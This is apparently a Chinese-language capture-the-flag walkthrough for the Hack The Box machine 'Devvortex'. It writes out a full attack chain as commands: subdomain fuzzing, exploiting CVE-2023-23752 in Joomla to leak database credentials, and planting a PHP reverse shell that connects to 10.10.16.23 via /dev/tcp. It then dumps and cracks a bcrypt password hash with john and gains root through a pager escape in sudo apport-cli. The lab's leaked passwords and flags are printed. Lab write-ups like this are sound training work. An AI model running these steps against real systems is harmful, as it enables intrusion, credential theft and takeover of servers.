Main

$ nmap -p- 10.10.11.242 --min-rate 1000

# echo '10.10.11.242 devvortex.htb'>>/etc/hosts

子域名爆破

$ apt install seclists

$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://devvortex.htb/" -H "Host: FUZZ.devvortex.htb" --hl 7

$ echo '10.10.11.242 dev.devvortex.htb'>>/etc/hosts

$ gobuster dir --url "http://dev.devvortex.htb/" --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt

$ curl http://dev.devvortex.htb/robots.txt

$ whatweb http://dev.devvortex.htb/administrator

searchsploit

CVE-2023-23752:未授权访问

从Exp中fetch_users是获取用户的函数

$ curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true | jq

username:lewis password:P4ntherg0t1n5r3c0n##

http://dev.devvortex.htb/administrator/

导航至System->Templates->Administrator Templates

index.php把反向shell写进去就好了,Save

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.23/10032 0>&1'");

$ nc -lvnp 10032

无法权限不足读取用户logan的文件

提升shell方法1

• script /dev/null -c /bin/bash#这个命令使用script命令将会话记录写入 /dev/null，并在新的 Bash 会话中执行 /bin/bash，即启动一个新的 Bash shell。
  CTRL + Z# 将当前进程挂起（即暂停执行），并返回到终端提示符。这样做是为了在后台执行一些任务或者进行一些其他操作，而不影响当前进程。
  stty raw -echo; fg# 将终端设置为原始（raw）模式和禁用回显（echo），然后将挂起的进程（即刚才启动的新的 Bash 会话）移动到前台运行（foreground）。这样做是为了让新的 Bash 会话能够正常运行，并且不会受到终端设置的影响。
  # 按下 Enter 键两次。这是因为在使用 stty raw -echo; fg 命令之后，终端处于原始模式，不会像平常一样处理换行符。因此，需要按下 Enter 键两次以确保命令输入被传递到新的 Bash 会话中
  export TERM=xterm# 用于设置环境变量 TERM 的值为 xterm。TERM 环境变量用于指定当前终端的类型，xterm 是一种常见的终端类型。设置为 xterm 可以帮助正确地显示终端中的文本和颜色，以及适应终端的特性和功能。

提升shell方法2:
$ SHELL=/bin/bash script -q /dev/null

www-data@devvortex:~/dev.devvortex.htb/administrator$ netstat -ano

3306端口开放着mysql服务

$ mysql -u lewis -p

P4ntherg0t1n5r3c0n##

mysql>show databases;
mysql>use joomla;
mysql>show tables;
mysql> select username,password from sd4fg_users;

$ echo "\$2y\$10\$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12">hash

保存哈希

$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash

username:logan password:tequieromucho

www-data@devvortex:~/dev.devvortex.htb/administrator$ su logan

User Flag

logan@devvortex:/var/www/dev.devvortex.htb/administrator$ cat /home/logan/user.txt

a2e439ebea0891abde76fa39322ee67a

Root Flag

logan@devvortex:/var/www/dev.devvortex.htb/administrator$ sudo -l

logan用户只能执行和读该文件/usr/bin/apport-cli,不能进行修改

打开是一个python文件,我们将他下载下来分析一下

我们首先锁定系统执行命令的sys,os函数库和input,read,write一些函数,让后逆向找到利用点

跟进父类函数

跟进CLIDialog父类函数中的run,可以看到是一个选择页面

logan@devvortex:/var/www/dev.devvortex.htb/administrator$sudo /usr/bin/apport-cli

运行一下看界面

当我们输入一个字符时,会将其转为大写,然后寻找该字符在列表中的索引位置,然后索引+1,最后返回一个int数据

这里的CLIDialog.run()也就类似于input函数

第一处:CLIUserInterface.ui_present_report_details() 这是一个显示报告的函数

第二处:CLIUserInterface.ui_info_message() CLIUserInterface.ui_error_message()这是一个ui消息显示和错误消息显示

第三处:CLIUserInterface.ui_question_yesno() CLIUserInterface.ui_question_choice() 一个选择函数...

有趣的是当分析到CLIUserInterface.ui_present_report_details()中调用了一个工具

/usr/bin/sensible-pager:是一个命令行工具，用于选择并执行适合当前环境的默认分页器（pager）。在Unix和Linux系统中，分页器是用于浏览文本文件内容的工具，通常用于查看长文本文件或命令输出。

我们可以在kali中来演示如何利用/usr/bin/sensible-pager进入命令行模式

此时我们输入!/bin/bash时候,!来引导外部命令/bin/bash成功获取shell

回到靶机同样方法去获取shell

这里如果运行过一次很可能会出现异常,加-f参数进入调试模式

logan@devvortex:/var/www/dev.devvortex.htb/administrator$ sudo /usr/bin/apport-cli --help

$ sudo /usr/bin/apport-cli -f

随便写数字,到选择这一步就好了

输入V,进入到报告页面输入,!/bin/bash

成功提权

ebbf314456c1a1428c243b579b031a9f